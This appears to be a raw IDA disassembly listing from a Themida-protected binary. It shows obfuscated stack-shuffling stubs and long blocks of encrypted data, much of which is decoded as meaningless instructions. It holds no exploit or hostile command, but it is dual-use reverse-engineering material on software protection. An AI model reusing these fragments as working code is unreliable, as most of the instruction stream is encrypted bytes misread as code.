0E3F27E7h, 14CF813Ah ; --------------------------------------------------------------------------- loc_5F3BDC: ; CODE XREF: Themida_:005F3C36j dec esi test al, 63h xor edi, 75B43DD7h mov eax, edi mov edi, [esp] add esp, 4 push esp mov esi, [esp] add esp, 4 push ecx mov ecx, 8 sub ecx, 614C4101h add ecx, esi add ecx, 614C4101h mov [ecx], eax pop ecx push dword ptr [esp] pop esi add esp, 4 push dword ptr [esp] pop eax add esp, 4 jmp loc_58442C ; --------------------------------------------------------------------------- db 0E2h, 0FCh ; --------------------------------------------------------------------------- loc_5F3C26: ; CODE XREF: Themida_:005F36A8j mov eax, 61A78D0h add eax, ebp ; CODE XREF: Themida_:005F3C34j loc_5F3C2D: ; CODE XREF: Themida_:loc_5F36A3j mov edx, ebx push ebp in eax, dx std jnz short loc_5F3C92 ; CODE XREF: Themida_:005F3C9Aj jp short near ptr loc_5F3C2B+1 jbe short loc_5F3BDC imul esp, esi, 0FD49BC56h sub [ebx-257102DBh], cl and eax, 25CDCFFDh std sub eax, 1FFD2547h and byte ptr ds:2560F5FDh, 0FDh rcl byte ptr [ecx], cl and eax, 25A9B3FDh ; CODE XREF: Themida_:005F3CCAj std scasb cmc and eax, 25DAD5FDh std mov ds:7FD25CDh, al loc_5F3C6B: ; CODE XREF: Themida_:005F3C9Ej ; Themida_:005F3CAEj cmp ds:258360FDh, esp std inc ecx popa and eax, 251022FDh std out dx, al xlat and eax, 258B32FDh std popf and eax, 2295358Ah mov ds:714A76D6h, al ; CODE XREF: Themida_:005F3CBEj ; Themida_:005F3CCEj ficomp word ptr [ebp+edi*4+4Bh] ; CODE XREF: Themida_:005F3C98j loc_5F3C91: ; CODE XREF: Themida_:005F3CA2j hlt ; --------------------------------------------------------------------------- loc_5F3C92: ; CODE XREF: Themida_:005F3C32j pop esp loc_5F3C93: ; CODE XREF: Themida_:005F3C94j pop edx jp short loc_5F3C93 jnz short near ptr loc_5F3CBE+1 jb short near ptr loc_5F3C8D+2 jnz short near ptr loc_5F3C32+1 ; CODE XREF: Themida_:005F3C9Cj ; Themida_:005F3CA4j ... jns short near ptr loc_5F3C9A+1 jz short loc_5F3C6B ; CODE XREF: Themida_:005F3CA0j js short near ptr loc_5F3C9E+1 jnb short loc_5F3C91 jge short near ptr loc_5F3C9A+1 loc_5F3CA6: ; CODE XREF: Themida_:loc_5F3CA8j jz short near ptr loc_5F3C9A+1 loc_5F3CA8: ; CODE XREF: Themida_:loc_5F3CC2j jnp short loc_5F3CA6 loc_5F3CAA: ; CODE XREF: Themida_:005F3CACj jz short loc_5F3D24 jnp short loc_5F3CAA jnz short near ptr loc_5F3C6B+1 ; CODE XREF: Themida_:005F3CB0j jp short near ptr loc_5F3CAE+1 jnz short near ptr loc_5F3D11+1 ; CODE XREF: Themida_:005F3CB4j jp short near ptr loc_5F3CB2+1 jbe short near ptr loc_5F3CDB+2 cmc mov ds:0A3EAA375h, eax ; CODE XREF: Themida_:loc_5F3CC6j loc_5F3CBE: ; CODE XREF: Themida_:005F3C96j ; Themida_:005F3CC0j jnz short near ptr loc_5F3C88+3 jp short near ptr loc_5F3CBE+1 loc_5F3CC2: ; CODE XREF: Themida_:005F3CC4j jnz short loc_5F3CA8 jnp short loc_5F3CC2 loc_5F3CC6: ; CODE XREF: Themida_:005F3CC8j jz short near ptr loc_5F3CB9+2 jnp short loc_5F3CC6 jz short near ptr loc_5F3C58+4 mov dl, 0F8h jnz short near ptr loc_5F3C88+4 sbb dh, [eax-10h] and eax, [edi] out 73h, eax cmpsb dec dword ptr [ecx+0Ch] loc_5F3CDB: ; CODE XREF: Themida_:005F3CB6j lea edi, [eax+esi*2-10h] pop eax pop es out 73h, eax insb dec dword ptr [ecx+707CE80Ch] lock test al, 7 out 73h, eax xor eax, 440C4DFFh jl short near ptr loc_5F3D65+1 lock push ds pop es out 73h, eax push ds inc dword ptr [ebp+707CD10Ch] lock adc eax, 7B73E706h inc dword ptr [ecx+707C630Ch] lock xor al, [ecx] loc_5F3D11: ; CODE XREF: Themida_:loc_5F3CB2j out 73h, eax xlat ; --------------------------------------------------------------------------- dd 350C7DFFh, 37F0707Ch ; --------------------------------------------------------------------------- loc_5F3D1C: ; CODE XREF: Themida_:005F3D2Aj add edi, esp jnb short loc_5F3D62 ; --------------------------------------------------------------------------- dd 0FF0C79FFh ; --------------------------------------------------------------------------- loc_5F3D24: ; CODE XREF: Themida_:loc_5F3CAAj jl short loc_5F3D96 lock inc esp add edi, esp jnb short loc_5F3D1C push dword ptr [ebp+0Ch] cmpsb jl short loc_5F3DA2 lock dec edi push es out 73h, eax cmpsb jmp fword ptr [ecx+0Ch] ; --------------------------------------------------------------------------- db 8Dh ; --------------------------------------------------------------------------- jl short loc_5F3DAE loc_5F3D3E: ; CODE XREF: Themida_:loc_5F3D96j lock push ss add edi, esp jnb short loc_5F3DB0 push dword ptr [ecx+0Ch] call near ptr 864FADC8h add edi, esp jnb short loc_5F3D85 jmp fword ptr [ebp+0Ch] ; --------------------------------------------------------------------------- db 44h dd 3EF0707Ch, 1E73E706h, 0D10C69FFh ; --------------------------------------------------------------------------- jl short loc_5F3DD2 loc_5F3D62: ; CODE XREF: Themida_:005F3D1Ej lock scasb push es loc_5F3D65: ; CODE XREF: Themida_:005F3CF4j out 73h, eax jnp short near ptr loc_5F3D67+1 ; CODE XREF: Themida_:loc_5F3D67j pop ecx or al, 63h jl short near ptr loc_5F3DDC+2 lock setalc push es out 73h, eax xlat call dword ptr [ebp+0Ch] loc_5F3D77: ; CODE XREF: Themida_:loc_5F3D85j xor eax, 1AF0707Ch push es out 73h, eax inc edx call dword ptr [ecx+0Ch] ; --------------------------------------------------------------------------- db 0FFh db 7Ch ; --------------------------------------------------------------------------- loc_5F3D85: ; CODE XREF: Themida_:005F3D4Ej jo short loc_5F3D77 loc_5F3D87: ; CODE XREF: Themida_:005F3DEDj and al, 6 out 73h, eax lock jmp dword ptr [ebp+0Ch] ; --------------------------------------------------------------------------- db 0A6h dd 53F0707Ch ; --------------------------------------------------------------------------- loc_5F3D94: ; CODE XREF: Themida_:loc_5F3DF2j pop es ; --------------------------------------------------------------------------- db 0E7h ; --------------------------------------------------------------------------- loc_5F3D96: ; CODE XREF: Themida_:loc_5F3D24j ; Themida_:005F3DCEj jnb short loc_5F3D3E jmp dword ptr [ecx+0Ch] ; --------------------------------------------------------------------------- db 8Dh ; --------------------------------------------------------------------------- loc_5F3D9C: ; CODE XREF: Themida_:005F3DACj jl short near ptr loc_5F3E0D+1 lock arpl [edi], ax ; --------------------------------------------------------------------------- db 0E7h ; --------------------------------------------------------------------------- loc_5F3DA2: ; CODE XREF: Themida_:005F3D30j jnb short loc_5F3E10 call fword ptr [ebp+0Ch] call near ptr 654FB428h jnb short loc_5F3D9C loc_5F3DAE: ; CODE XREF: Themida_:005F3D3Cj jnb short loc_5F3DE5 loc_5F3DB0: ; CODE XREF: Themida_:005F3D42j call dword ptr [eax] or al, 44h jl short loc_5F3E2C lock out 7Bh, al out dx, al jnb short near ptr loc_5F3DD9+1 dec dword ptr [esp+ecx] sar dword ptr [esp+ebx*4-4Ah], 1 mov al, 0F1h adc [ebp+75FD7AF2h], ebx and edi, ebx pop ss jz short near ptr loc_5F3D96+1 ; CODE XREF: Themida_:005F3DFEj ; Themida_:loc_5F3E10j pusha sti loc_5F3DD2: ; CODE XREF: Themida_:005F3D60j and eax, 0FDF53FD5h lodsd xchg eax, esi loc_5F3DD9: ; CODE XREF: Themida_:005F3DBAj test [edi-6Fh], ch loc_5F3DDC: ; CODE XREF: Themida_:005F3D6Cj and dh, [edi+esi*4] iret ; --------------------------------------------------------------------------- dd 0B723AC7Ah db 29h ; --------------------------------------------------------------------------- loc_5F3DE5: ; CODE XREF: Themida_:loc_5F3DAEj lodsd and [edx], bl ; CODE XREF: Themida_:005F3DE8j jp short near ptr loc_5F3DE6+1 jnz short loc_5F3E65 daa jl short loc_5F3D87 sahf add edi, esp loc_5F3DF2: ; CODE XREF: Themida_:005F3E50j ; Themida_:005F3E5Aj jnb short loc_5F3D94 dec dword ptr [esi+7D7C350Ch] enter 3E4h, 0E7h jnb short near ptr loc_5F3DCE+1 ; CODE XREF: Themida_:005F3E2Ej or [ebp+eax*8-4AB48A1Ch], esi stc mov edx, 0EF863589h loc_5F3E0D: ; CODE XREF: Themida_:loc_5F3D9Cj or al, 0Ch cmpsb loc_5F3E10: ; CODE XREF: Themida_:loc_5F3DA2j jl short near ptr loc_5F3DCE+1 ; --------------------------------------------------------------------------- dw 96FEh dd 2F7A452Bh, 28AFD7Ah, 0CD6F848Bh, 9C0148F7h, 0C6F8FB60h ; --------------------------------------------------------------------------- cld push eax popf loc_5F3E2B: ; CODE XREF: Themida_:loc_5F3E2Cj dec ebx loc_5F3E2C: ; CODE XREF: Themida_:005F3DB4j jle short loc_5F3E2B jnz short near ptr loc_5F3DFE+1 outsd inc ebp jbe short loc_5F3E92 ; CODE XREF: Themida_:005F3E34j jp short near ptr loc_5F3E32+1 mov bh, [edx-6E907B75h] test dword ptr [eax+1], 0F8FB60B2h sar esp, 1 push eax mov ah, [edx] and ebx, [edi] loc_5F3E4A: ; CODE XREF: Themida_:005F3E6Ej mov esp, 0C8EF787h cmpsb jl short loc_5F3DF2 sub eax, 2CA32005h in al, dx xchg eax, edx insd ja short near ptr loc_5F3DF2+1 jp short loc_5F3EAB int 0C1h ; used by BASIC while in interpreter jns short loc_5F3EB9 mov dh, [eax-69h] loc_5F3E65: ; CODE XREF: Themida_:005F3DEAj test [edi-0Ch], ch sar dword ptr [esi], 1 popf loc_5F3E6B: ; CODE XREF: Themida_:005F3E6Cj pop es js short loc_5F3E6B jnz short loc_5F3E4A retn 0CD9Bh ; --------------------------------------------------------------------------- db 54h dd 0D0DE9B59h, 8D0C10EFh, 8DE9B7Ch, 0E5779592h, 0F3360B7Ah dd 866E8872h, 0A60C10EFh ; --------------------------------------------------------------------------- jl short locret_5F3EDF loc_5F3E92: ; CODE XREF: Themida_:loc_5F3E32j lds edx, [ecx+edi*2-53h] assume ds:___ mov bh, [edx-6E907B69h] and [ebx-6481D40Ah], bl jle short near ptr loc_5F3ECA+1 sbb al, 56h mov dh, 1Ah imul edi, 75h loc_5F3EAB: ; CODE XREF: Themida_:005F3E5Cj jns short near ptr loc_5F3ED5+1 adc eax, 0FD7ABE4Eh das mov al, gs:59A57B89h loc_5F3EB9: ; CODE XREF: Themida_:005F3E60j cmp eax, 0DF709491h cmc pop es mov edx, 0D183FE4Dh db 3Eh popf add [ebx-3], bh loc_5F3ECA: ; CODE XREF: Themida_:005F3EA2j jnz short loc_5F3EF6 xchg eax, edx loope loc_5F3F46 mov esp, 844EA77Ah push cs loc_5F3ED5: ; CODE XREF: Themida_:loc_5F3EABj adc al, ch dec ecx rcl byte ptr [esi], 1 test eax, 75FCA77Fh ; CODE XREF: Themida_:005F3EFCj locret_5F3EDF: ; CODE XREF: Themida_:005F3E90j retf ; --------------------------------------------------------------------------- dd 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh, 0BD360B20h, 65548872h db 0A0h, 89h ; --------------------------------------------------------------------------- loc_5F3EF6: ; CODE XREF: Themida_:loc_5F3ECAj push 913D59A5h xchg eax, esp jo short near ptr loc_5F3EDA+3 cmc pop es mov edx, 85B5FF4Dh push 0FB608B98h das pop ds pop edi std push ecx fidiv dword ptr [ecx+3Fh] adc esi, ebp mov ecx, 9285E94Dh mov ebp, 4D7A9774h hlt ; --------------------------------------------------------------------------- db 61h dd 0E5743592h, 0F22D157Ah, 91DEFD7Ah, 0BC75FC57h, 9DDF60CAh dd 0C7DF61CAh, 9775FC5Bh, 4A13451Ch ; --------------------------------------------------------------------------- sbb al, 56h loc_5F3F42: ; CODE XREF: Themida_:005F3F52j popf loc_5F3F43: ; CODE XREF: Themida_:005F3F44j inc ebx jnp short loc_5F3F43 loc_5F3F46: ; CODE XREF: Themida_:005F3ECDj jnz short loc_5F3F62 dec esp loc_5F3F49: ; CODE XREF: Themida_:loc_5F3F62j std jnz short loc_5F3FC5 sbb al, 56h popf mov dh, 7Bh std jnz short loc_5F3F42 out 57h, eax mov dh, 9Fh out 57h, al popf imul edi, [edx-3], 0FCF32375h loc_5F3F62: ; CODE XREF: Themida_:loc_5F3F46j jnz short loc_5F3F49 ; --------------------------------------------------------------------------- dd 0FA74BE8Ch, 0F9C5F20Fh, 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh dd 97AA1584h, 56C5FD7Ah, 0E2CD3ED0h, 0D75FD7Ah, 630C0CEFh dd 4C0707Ch, 5D73E703h, 2C7F518Ah, 7AE002D0h, 873E703h dd 0E574E592h, 0F8254D7Ah, 4B9D5779h, 548A0284h, 5E75FC43h dd 2C7FA5CAh, 0C7C53ED0h, 61274DD0h, 1A8BE192h db 85h ; --------------------------------------------------------------------------- loc_5F3FC5: ; CODE XREF: Themida_:005F3F4Aj wait int 0FDh dec ebx wait ficom word ptr [ecx+438A036Bh] retf 0DFA7h ; --------------------------------------------------------------------------- db 0EEh ; --------------------------------------------------------------------------- and dl, [edi-4Ah] lahf xchg eax, edx push edi and bh, [edx+edx*4] or al, 75h retf ; --------------------------------------------------------------------------- dd 22FEA77Ah, 1AF63F51h, 9177747Eh, 438A008Bh, 5E750592h dd 252D4D7Ah, 69B65779h, 0D10C97FFh, 8FC87D7Ch, 0F373E703h dd 0FCF8EC0Fh, 0BA6F84A6h, 5C61152Ah, 1B9DFD7Ah, 2775FD78h dd 759D571Ah, 0D8A0287h, 0D8A00C3h, 87DF9CCAh, 0A60C97F7h dd 34C87D7Ch, 2F73E703h, 12F8F10Fh, 0CD6F84A6h, 0E4DE152Ah dd 4AB6FD7Ah, 7975FD7Eh, 0C5846885h, 0C3F8FB60h, 296F8343h dd 3D6DF9F0h, 619C4DB9h, 8E9D562Dh, 0A875FD7Ah, 0BB5E3AF1h dd 357115F9h, 0CB8A3E78h, 296F8497h, 96514ACEh, 74C1FF0Eh dd 4E13F2CAh, 0F275C992h, 279DAE7Ah, 0E675FD7Ah, 0BEB5FEF0h dd 25B5F179h, 68B65778h, 0D10C10EFh, 0EA917D7Ch, 42F539FAh dd 2EDE9B75h, 415A15D1h, 0D52F0285h, 0ACB7D6BDh, 95FCF992h dd 0CB7345B9h, 708AFD7Ah, 0F46F848Bh, 0A560F7h, 0A0F8FB60h dd 4ECD3E39h, 0D075FD7Ah, 8D0C0CEFh, 0CEB57E7Ch, 1A8935F1h dd 0E80C10EFh, 8E97577Ch, 43BE15B9h, 1DFF0285h, 5A72D97Bh dd 7F76778Eh, 0CB75FC6Ch, 1DB61608h, 0A7890883h, 0BDF611F1h dd 0BC9D9D86h, 475FD7Ah, 513C17FBh, 0EAFCFB60h, 27CF7D86h dd 0E573E703h, 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah, 440C0CE8h dd 0ADFCBD7Ch, 916F848Fh, 79F835F1h, 0E36F8267h, 8B986F85h dd 7FFDFB60h, 4801F3Ch, 5E75FD6Dh, 56807F79h, 1A35FB60h dd 0D10AECE0h, 0E1B67E7Ch, 4B22FEF3h, 7975FD64h, 0C5807779h dd 0ECF8FB60h, 296F8385h, 2F2B5989h, 0CB75FD72h, 9C846F85h dd 0AF6FB60h, 7185897Eh, 0BC72447Ch, 5A7DFD7Ah, 0F7C3F24Bh dd 2E761EBBh, 0CB75FD74h, 5C44E172h, 0F275FD76h, 0C044F972h dd 0BC75FD61h, 0E744F972h, 2F75FD66h, 7F44F972h, 348A015Bh dd 848980F3h, 3B8980F1h, 7F9DADB9h, 9C75FD7Ah, 7A110222h dd 6BFCA58Eh, 16E9055Eh, 0B389D93Eh, 7867C92Ch, 0F2B6AD3Ah dd 7975FD7Ah, 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah, 162FFD7Ah dd 0D10ACD90h, 1CCF707Ch, 7973E703h, 71CCF50Fh, 4F75FD7Ah dd 9CBC9CDEh, 0A226FD7Eh, 8D0C04E7h, 0D3497D7Ch, 0BE71887Bh dd 0A9771683h, 0F2203E82h, 0BC9D9D96h, 475FD7Ah, 501C17FBh dd 25F8FB60h, 0CD6F8483h, 5C7D80F1h, 0F275FD72h, 0B0145989h dd 0DC75F9B8h, 278C40F7h, 0EF46FB60h, 9775F5C3h, 0AADF0E7Ah dd 58F89DB9h, 0F46F8483h, 7874C2FBh, 0B000FC7Bh, 5F7182FBh dd 5A74FC7Bh, 969E0479h, 0ABB69C82h, 9C8C40F7h, 0F3CDFB60h dd 0C075FD7Ah, 0BC75FD72h, 9D145789h, 0EFFE3DF1h, 0ED7378F7h dd 0D08AFB60h, 3BE9CA8Bh, 60000000h, 161DBD8Bh, 0EF830613h dd 8BC93304h, 8320BBC1h, 0C783EDB8h, 8BE04h, 0E8D10000h dd 0D323D21Bh, 0F4EC233h, 0FFFFF185h, 78941FFh, 100F981h dd 820F0000h, 0FFFFFFD3h, 0C88BC361h, 1EE9h, 0CF0F9400h dd 74h, 5 dup(0) dd 0E9000000h, 503h, 3A3B3FFh, 0E1C18D1Dh, 0FDDD6DBFh dd 0E6C48CDBh, 0FFDF75C4h, 0BB0A63CCh, 0C9173999h, 0B4072989h dd 0C1143694h, 411E2B8Bh, 0B83552CCh, 5C061B16h, 0B3226CBDh dd 109DB557h, 49163E8Bh, 2106A5C4h, 0FA70F1A0h, 3F7E0A2Dh dd 323FA08Ah, 0F8DA8953h, 0E5CBEB69h, 6569F854h, 775B78D4h dd 0B4D564E4h, 4999BD2Ch, 0BCA33405h, 1E4F4796h, 109E51C4h dd 0D869088Dh, 64D52FB9h, 91311BAEh, 133D8EB4h, 143487C9h dd 93F94B6h, 0C9C61638h, 6CE61779h, 35109E52h, 9EA0B1D0h dd 4021400Ah, 18B1DBF1h, 5373D56Ah, 0E170DC6Dh, 9E523190h dd 73DF6D10h, 250E0E2h, 56F31D33h, 710A886Fh, 41778D4Bh dd 0FA4B6FA3h, 3A820352h, 3EE3h, 6CBD7700h, 50DFC3E0h dd 0D829B800h, 109DB57Ch, 0C4E861F1h, 0A341EAF4h, 15Ch dd 6DBD0200h, 0DC6E50E1h, 0A06A5572h, 0BBE86C0Bh, 5B7FEEF6h dd 62F5440Ch, 57E79B30h, 60F1D7F7h, 0BD74CEECh, 7155E470h dd 0E43EAFE1h, 0AD109DB4h, 52380968h, 428F43B8h, 3B8EB412h dd 0AAFE4011h, 0AE3B4ADDh, 177697A6h, 0C0970146h, 3F0BA385h dd 472E3F5Eh, 5E0E2ECBh, 6A34129h, 6Eh, 4FE0C25Ch, 160EA3Eh dd 0C4895B7h, 143C8BAFh, 203123B2h, 4688D7E1h, 560958F2h dd 66F39F1Ch, 0C8EFD0EEh, 8CC48E44h, 50824A57h, 0C0025301h dd 0BAD81B6Fh, 0D5B5F544h, 52BCA5B4h, 0FFD593B9h, 647DA341h dd 5E000000h, 0D1920C81h, 3A5B109Dh, 0BE064498h, 0E470BD24h dd 6ADE7155h, 61DAF8DBh, 923024B1h, 39D28AB5h, 0FB88DF3Eh dd 0E0C267F1h, 95B7014Fh, 1B380945h, 0B54DC93Ch, 0F716109Dh dd 0B53F9EEDh, 67B8109Dh, 6B9AF043h, 109DB4EFh, 0AC3455B8h dd 213EE962h, 9DB572ECh, 12DA3B10h, 41EA8A4Ah, 132A3h dd 0C2080000h, 0B7014FE0h, 0A8074395h, 3911A387h, 1E78E928h dd 0E7109DB5h, 8BCF1EA6h, 0FF43123Ah, 8CCE9FAFh, 0D044153Bh dd 0A4382D9Eh, 0E96598B7h, 0B2109DB4h, 8AFF8953h, 0E8C684D8h dd 0E6C5C1A8h, 8EB1A677h, 27365716h, 1CBA9223h, 98A9A336h dd 931094BBh, 268DC08h, 2CCD4BBAh, 8C060A8Ah, 97F243EFh dd 0BD194C4Ah, 860A8A2Ch, 0B6D76607h, 0F1D6F7D7h, 51E7DE19h dd 5D6F79C3h, 0E36FBDCCh, 3E8FB382h, 0AC8EB10Eh, 0E2233218h dd 8A121773h, 51F94B0Ah, 0AA398302h, 1DD566E4h, 4AE2C08Ch dd 5AADB78Ah, 10332h, 0BEA30800h, 377AEBC8h, 40168EBCh dd 3D87C91Ah, 0FADC6DB0h, 0E3C5E567h, 676BFA52h, 1FE776D6h dd 0D76A18B1h, 3FFD5575h, 0A75AAD1Bh, 3Bh, 0C6BCA3BBh dd 4BFA74E9h, 0BF036F62h, 0AEBFDE6Eh, 9DB5035Fh, 0A4A43790h dd 2C20B195h, 0B348CA1Dh, 47C4AEC2h, 8596681h, 0F594F544h dd 4C0BA7D6h, 0F114EF62h, 9AF6D1h, 0C25C0000h, 6EFF4DE0h dd 5099A52Fh, 59649936h, 42168EA1h, 6CBEE4C3h, 0AA3253E2h dd 86C6173Bh, 9DAF0228h, 87CD1C3Eh, 0FC5FAE3Dh, 3D0A8A9Fh dd 0E06EC0E2h, 3D8E3051h, 0CA3FC913h, 0AAA6351Dh, 60727A9Bh dd 5F5F7FCDh, 2E5F7C0Ah, 10741ECDh, 9E842362h, 0ED7C440Eh dd 65F458E9h, 0ED7CD061h, 69F85CE9h, 9580F973h, 8B3CCD3Fh dd 62A9AAA4h, 0BA02C2E0h, 8423637Eh, 52D832A3h, 7CA10470h dd 5F486774h, 0CE8C8C78h, 53CF3E39h, 1C04708Ch, 0B15098F9h dd 0A5A0C6Eh, 86248203h, 0EBC8BEA3h, 8735397Ah, 0FE4FCE16h dd 138FFEE1h, 0DC0A8335h, 8C1D2FB9h, 6DC0E2C0h, 0F5FF8EDFh dd 855C2DBEh, 6481935h, 86C899B3h, 0F811731h, 3E98CD7Ah dd 797ADAAh, 6B54E786h, 0B79E5D44h, 529A6530h, 0AB9443B8h dd 0D0C6913Ah, 0E0F2FAF3h, 0FFE0FF4Dh, 0AD9E148Eh, 30B8DD97h dd 901D0522h, 0CC1475C4h, 252378Ah, 1E203150h, 5E72C38Dh dd 42065981h, 0C04A92F3h, 8B39C4Bh, 9F1404F2h, 8EEF5FEFh dd 8BC11446h, 9C12032Ch, 88314EEEh, 0A351240h, 8C5359C5h dd 54864ECCh, 436C4B01h, 981026F4h, 47A62E2Fh, 30Ah, 0E17BA800h dd 54E571BDh, 0DC6DDF72h, 52E365FAh, 0E372E070h, 330252DFh dd 0C392C20Fh, 1120307Fh, 9EAF9B2Dh, 15242ABCh db 22h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push 553Dh mov [esp], edi sub esp, 4 mov [esp], edi push 6D281E9Dh pop edi neg edi add edi, 71FB69FBh xor edi, 2C9CB1Ch mov esi, edi pop edi push esp mov edi, [esp] add esp, 4 push eax mov eax, 8 add eax, edi push esi pop dword ptr [eax] pop eax mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push dword ptr [esp] pop esi add esp, 4 jmp loc_58442C ; --------------------------------------------------------------------------- dd 68C0ECA3h, 3AF970EAh, 0F5B3A6CBh, 0B8F97D91h, 61A84B3h dd 0E0FFC503h, 413C4D4Ah, 2B1A9F48h, 4183B9A8h, 38722C1Dh dd 19061565h, 38FD3C74h, 6811E9FCh, 292074D9h, 43FD7E5Ah dd 1B23797Eh, 43308F7Ch, 3D677558h, 5ED36120h, 52167FE6h dd 6B8FBA91h, 9384C8h, 263179E8h, 9B704F5h, 0FC7C038h dd 5A209574h, 53DB5441h, 6CC393CFh, 7C56B2Dh, 79CE58F8h dd 41B82809h, 466069DDh, 157876C6h, 24EA72B9h, 69B4EB2Fh dd 21E9h, 0E3E7E600h, 53h, 6 dup(0) dd 0A3E90000h, 6800000Ch, 61A87E8h, 0F8FB6BE9h, 88B368FFh dd 61E9061Ah, 68FFF8FBh, 61A8971h, 0F8FB57E9h, 8A0C68FFh dd 4DE9061Ah, 68FFF8FBh, 61A8CF7h, 0F8FB43E9h, 8FD468FFh dd 39E9061Ah, 68FFF8FBh, 61A90DFh, 0F8FB2FE9h, 0F462F0FFh dd 0EC62F4D6h, 0F258ECCEh, 0F35DEED4h, 0F460EDD3h, 2348E7D6h dd 3A20BE96h, 280AA8AAh, 3315B593h, 3F0CAAA2h, 3B71ED20h dd 0E73A16B8h, 0E470BD7Bh, 3547655h, 0DC50664Dh, 1C12BEB4h dd 1B2D82D4h, 20667BBBh, 0B01B5283h, 230C168Eh, 0EC95D17Bh dd 85E2EAE6h, 0D160EC3Dh, 61F05CEDh, 0CA5D4120h, 0BF4E1F7Eh dd 0A8A2F5Fh, 38DF5CB6h, 0BC8DBF12h, 0DCB935Dh, 0B55AAD9Ch dd 42h, 0ABEA389h, 9DB57FDBh, 0A4C54810h, 0BA922307h, 75626AABh dd 8EAB1500h, 0E5FBE16h, 8A951F7Fh, 430B5B0Ah, 0CD7BD0F2h dd 0C2375B7Ch, 0B800AD3h, 0AD0A13E1h, 7DCDF55Ah, 0B70180D1h dd 760h, 0CCC4F600h, 6A000007h, 51E06CBDh, 1CADDC6Dh, 81E02130h dd 8AFCE521h, 0A37DB82Dh, 8706168Eh, 0A0B20228h, 0DA38C918h dd 310A8A9Eh, 8CB364D5h, 0FFBA6E52h, 5CEFD31Bh, 0B43C5DECh dd 0AD176C2Ch, 25D45Ah, 0A36A0000h, 7AEBC8BEh, 168E989Bh dd 78D2666Ch, 78C9A8E9h, 8A888909h, 15A6E00Ah, 0AD3E29E7h dd 0D1915Ah, 0BDA50000h, 6D51E06Ch, 641EB1E0h, 562C8DD4h dd 84E584D1h, 0C4091B5h, 163E8BAFh, 0A52F25B4h, 9BB10446h dd 8DC7163Ch, 45935DBCh, 9E7C9816h, 8BC11410h, 98B4052Bh dd 10766BC9h, 813F42B3h, 0F518168Fh, 0F690D9D5h, 81D4F6D9h dd 6E7ED80Dh, 0C6470A8Bh, 6D7796A7h, 75D73B1Eh, 32A38410h dd 475C3D8h, 0F7747CA1h, 0E7163996h, 475C46Bh, 34E6CC9Ch dd 0B9864548h, 6B4F8C54h, 725876DEh, 82FC71E3h, 0AB79FDB2h dd 9F9E1FCh, 19A50000h, 2BBB9D3Dh, 0B9D8323h, 2AB99F3Fh dd 13A28826h, 0FD326141h, 0B3134190h, 0B3133F8Dh, 0B00E3A8Dh dd 0B515378Ah, 0D832A3ACh, 0A116B83Bh, 70BDD688h, 264EF21Eh dd 564F87Ah, 1C3284A6h, 11A486D4h, 0A33D9B3Bh, 7AEBC8BEh dd 168E989Bh, 3B18296Ch, 896DE91Ch, 0D7360A8Ah, 89207E0Dh dd 1B770A8Ah, 3EBE7E9Eh, 0A0265AADh, 3C000000h, 51E06CBDh dd 51FF5072h, 5CF84587h, 0B0FE7C0Dh, 587F109Dh, 42B7D455h dd 0BE2F8CE1h, 109D2564h, 0EEE0E82Dh, 0F0D2F15Bh, 3D5CED5Bh dd 3283A5B3h, 0F4ED4B1Ah, 0BDC03592h, 96168E2Ah, 12575777h dd 14265774h, 0D107476h, 0BA072B88h, 0C7163C9Ah, 1750D88Dh dd 0C66579FCh, 92E8Bh, 74E27000h, 6CE27456h, 72D86C4Eh dd 73DD6E54h, 74E06D53h, 0A3C86756h, 0BAA03E16h, 0A88A282Ah dd 0B3953513h, 0BF8C2A22h, 3CF16DA0h, 67BA16B8h, 2DDC2FBh dd 15620A27h, 0DB6A6C74h, 0E6775979h, 0BDEA4866h, 69C91A6Ch dd 84D88037h, 11751D9Bh, 0CDACCD4Eh, 0D47ACCEEh, 2DBC0485h dd 16B49829h, 8FC31139h, 3F955FBEh, 52342D4Eh, 78610075h dd 1372168Fh, 45DA5DF0h, 2940B346h, 760F7E5Dh, 7766B73Ah dd 0E94716h, 8FDE76C3h, 1D506F0Eh, 60A139EEh, 64E4775Bh dd 0F6D5B4D5h, 0EBCB81D4h, 621EE5CAh, 3BBED5F6h, 1EDBAE31h dd 7D1B082h, 0A5D874C5h, 0CA23BBEDh, 70627F2Eh, 2E000008h dd 3218B6A0h, 2A10AEA0h, 3416B496h, 2B0DADA3h, 2518B69Eh dd 54E10Ah, 223080A2h, 3F099E84h, 2428B99Fh, 6392BD86h dd 16B83DE7h, 0BDC579B0h, 0DFC3E06Ch, 2BBA0252h, 5CEFD40Dh dd 0BF2E8DECh, 168EAF96h, 163996F7h, 8A9B6BE7h, 7D1340Ah dd 77C5EDCAh, 6CBF11DBh, 0FC5F1816h, 0DF71BEA6h, 4B6B0A6Bh dd 5976D265h, 28B0776h, 31540A8Ah, 4DC938A7h, 340A8A03h dd 0A89F2D6h, 3695F1F8h, 7AFDFEC7h, 0ED7B5F10h, 11350465h dd 23D98CC0h, 5079FE90h, 7D5BC99h, 7DC90000h, 87D7F9D9h dd 6FC1E7C7h, 86D5FBDBh, 77C6ECCAh, 61CEFDDDh, 3797BD0Ch dd 2F8FC311h, 3492B609h, 3191BB0Eh, 5CB62728h, 2516B83Fh dd 0BEA352ECh, 0D37AEBC8h, 34168EBFh, 0C495BF0Eh, 36152445h dd 0F4C4C014h, 9B290C16h, 889D8B9h, 123C8EC0h, 8D0B8AB5h dd 464480F9h, 607F607Eh, 8A0CB12Dh, 0D11B7A0Ah, 4E1F2F7Fh dd 318EF6F2h, 0A719290Eh, 0E391FBF7h, 3068AAD9h, 9310A8Ah dd 81C697BBh, 921B0EEDh, 9B254426h, 6A7ECF4Eh, 4FDF9328h dd 4BE0A93Ch, 4CCD9CFDh, 5E8D2Dh, 220A89DBh, 0EC21BEC6h dd 0A89DB96h, 0F2D8F617h, 0EED1EE60h, 89DB237Fh, 1FA9EC0Ah dd 0DAC931C0h, 36230A89h, 9CD1C514h, 0A89DA42h, 5AEB8A0Bh dd 0E257B13Bh, 94C00D35h, 0A0B1A332h, 0E5755761h, 